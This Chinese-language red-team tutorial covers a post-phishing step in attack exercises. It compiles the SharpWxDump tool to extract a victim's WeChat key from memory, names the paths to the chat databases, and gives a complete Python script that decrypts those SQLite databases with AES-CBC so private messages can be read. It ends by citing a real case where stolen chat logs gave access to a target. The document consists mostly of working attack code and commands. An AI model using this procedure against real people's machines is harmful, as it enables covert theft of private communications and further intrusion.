背景

在攻防演练的**上线后,如果被钓的人使用微信,这时候可以通过读取微信里的聊天记录进行进一步搜集。
使用公开Github项目

https://github.com/AdminTest0/SharpWxDump
编译命令:C:\Windows[Microsoft.NET](http://microsoft.net/)\Framework\v4.0.30319\[csc.ex](http://csc.ex/)e .[Program.cs](http://program.cs/) /platform:x86

读取流程

首先获取微信的Wechatkey ==》找到对应聊天记录的数据库 ==》 使用python脚本解密 ==》 使用Navicat 等数据库工具打开读取明文

获取微信信息

编译成x86架构、直接运行。获取到微信的一些信息。
SharpWxDump.exe 获取 WeChatKey
获取到微信的信息

微信信息存储的位置

微信消息

C:\Users\用户名\Documents\WeChat Files\微信ID\Msg\Multi 里获取MSG0.db

微信转发的消息

C:\Users\用户名\Documents\WeChat Files\微信ID\Msg\Multi \FTSMSG0.db
转发的图片
WeChatImageDatEncryption

解密

使用weixn_decrypt.py
py weixn_decrypt.py -k 82805324835245BBB05FBBDC8DFD105315C5BC6972F24E26919815308291CADE -d MSG0.db

  1. from Crypto.Cipher import AES
  2. import hashlib, hmac, ctypes, sys, getopt
  3. SQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)
  4. IV_SIZE = 16
  5. HMAC_SHA1_SIZE = 20
  6. KEY_SIZE = 32
  7. DEFAULT_PAGESIZE = 4096
  8. DEFAULT_ITER = 64000
  9. opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')
  10. input_pass = ''
  11. input_dir = ''
  12. for op, value in opts:
  13. if op == '-k':
  14. input_pass = value
  15. else:
  16. if op == '-d':
  17. input_dir = value
  18. password = bytes.fromhex(input_pass.replace(' ', ''))
  19. with open(input_dir, 'rb') as (f):
  20. blist = f.read()
  21. print(len(blist))
  22. salt = blist[:16]
  23. key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)
  24. first = blist[16:DEFAULT_PAGESIZE]
  25. mac_salt = bytes([x ^ 58 for x in salt])
  26. mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)
  27. hash_mac = hmac.new(mac_key, digestmod='sha1')
  28. hash_mac.update(first[:-32])
  29. hash_mac.update(bytes(ctypes.c_int(1)))
  30. if hash_mac.digest() == first[-32:-12]:
  31. print('Decryption Success')
  32. else:
  33. print('Password Error')
  34. blist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]
  35. with open(input_dir, 'wb') as (f):
  36. f.write(SQLITE_FILE_HEADER)
  37. t = AES.new(key, AES.MODE_CBC, first[-48:-32])
  38. f.write(t.decrypt(first[:-48]))
  39. f.write(first[-48:])
  40. for i in blist:
  41. t = AES.new(key, AES.MODE_CBC, i[-48:-32])
  42. f.write(t.decrypt(i[:-48]))
  43. f.write(i[-48:])

实战中利用

某Hvv通过内网诱捕获取微信聊天记录获取靶标权限